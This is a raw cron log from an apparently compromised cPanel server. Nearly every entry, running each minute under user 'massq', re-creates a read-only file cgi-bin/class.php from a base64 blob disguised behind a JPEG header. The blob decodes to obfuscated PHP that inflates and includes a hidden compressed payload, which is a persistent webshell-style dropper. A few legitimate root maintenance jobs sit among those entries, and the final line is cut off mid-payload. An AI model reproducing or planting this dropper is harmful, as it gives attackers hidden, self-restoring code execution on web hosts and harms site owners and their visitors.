Apr 10 19:01:01 server CROND[24191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:01:01 server run-parts(/etc/cron.hourly)[24190]: starting 0anacron
Apr 10 19:01:01 server run-parts(/etc/cron.hourly)[24204]: finished 0anacron
Apr 10 19:02:01 server CROND[24279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:03:01 server CROND[24347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:04:01 server CROND[24413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:05:01 server CROND[24485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:05:01 server CROND[24486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 19:05:01 server CROND[24487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:05:01 server CROND[24488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:06:01 server CROND[24613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:07:01 server CROND[24781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:08:01 server CROND[24866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:09:01 server CROND[24940]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 19:09:01 server CROND[24941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:10:01 server CROND[25006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:10:01 server CROND[25008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:10:01 server CROND[25009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:10:01 server CROND[25007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:11:01 server CROND[25125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:12:01 server CROND[25188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 19:12:01 server CROND[25189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:13:01 server CROND[25356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:14:01 server CROND[25467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV